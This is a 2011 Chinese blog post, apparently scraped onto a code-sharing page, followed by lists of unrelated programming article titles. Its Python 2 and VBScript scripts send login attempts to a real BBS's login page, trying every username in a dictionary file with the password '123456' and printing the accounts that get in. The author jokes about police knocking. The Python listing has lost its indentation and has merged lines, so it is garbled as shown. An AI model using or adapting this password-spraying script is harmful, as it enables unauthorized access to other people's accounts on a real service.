Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
分享一下Python 开发者节省时间的10个方法
Oct 02 Python
python中星号变量的几种特殊用法
Sep 07 Python
基于Python的接口测试框架实例
Nov 04 Python
利用python求解物理学中的双弹簧质能系统详解
Sep 29 Python
详解用python实现简单的遗传算法
Jan 02 Python
Python根据已知邻接矩阵绘制无向图操作示例
Jun 23 Python
使用TensorFlow实现SVM
Sep 06 Python
详解python之heapq模块及排序操作
Apr 04 Python
Python实现时间序列可视化的方法
Aug 06 Python
pytorch ImageFolder的覆写实例
Feb 20 Python
使用 pytorch 创建神经网络拟合sin函数的实现
Feb 24 Python
python 如何上传包到pypi
Dec 24 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
PHP 数组遍历方法大全(foreach,list,each)
2010/06/30 PHP
PHP输出两个数字中间有多少个回文数的方法
2015/03/23 PHP
php输出反斜杠的实例方法
2019/09/19 PHP
PHP实现二维数组(或多维数组)转换成一维数组的常见方法总结
2019/12/04 PHP
JS trim去空格的最佳实践
2011/10/30 Javascript
Jquery带搜索框的下拉菜单
2013/05/06 Javascript
使用jQuery动态加载js脚本文件的方法
2014/04/03 Javascript
jquery和css3实现的炫酷时尚的菜单导航
2014/09/01 Javascript
简单谈谈javascript代码复用模式
2015/01/28 Javascript
JS运动基础框架实例分析
2015/03/03 Javascript
JS中append字符串包含onclick无效传递参数失败的解决方案
2016/12/26 Javascript
bootstrap table 数据表格行内修改的实现代码
2017/02/13 Javascript
js图片延迟加载(Lazyload)三种实现方式
2017/03/01 Javascript
利用node.js制作命令行工具方法教程(一)
2017/06/22 Javascript
JavaScript创建对象的常用方式总结
2018/08/10 Javascript
vue-cli项目中使用echarts图表实例
2018/10/22 Javascript
JSON生成Form表单的方法示例
2018/11/21 Javascript
vue + element-ui的分页问题实现
2018/12/17 Javascript
JavaScript常用8种数组去重代码实例
2020/09/09 Javascript
python结合opencv实现人脸检测与跟踪
2015/06/08 Python
详解Python函数作用域的LEGB顺序
2016/05/14 Python
python实现决策树C4.5算法详解(在ID3基础上改进)
2017/05/31 Python
Python实现Linux的find命令实例分享
2017/06/04 Python
Python使用Matplotlib实现Logos设计代码
2017/12/25 Python
Python之Numpy的超实用基础详细教程
2019/10/23 Python
Python3如何对urllib和urllib2进行重构
2019/11/25 Python
CSS3 filter(滤镜)实现网页灰色或者黑色模式的代码
2020/11/30 HTML / CSS
速卖通欧盟:Aliexpress EU
2020/08/19 全球购物
小学综合实践活动总结
2014/07/07 职场文书
商家认证委托书格式
2014/10/16 职场文书
2014年前台接待工作总结
2014/12/05 职场文书
2015幼儿园庆元旦活动方案
2014/12/09 职场文书
联村联户简报
2015/07/21 职场文书
2019求职信:应届生求职信范文
2019/04/24 职场文书
手把手教你用SpringBoot将文件打包成zip存放或导出
2021/06/11 Java/Android
Go中的条件语句Switch示例详解
2021/08/23 Golang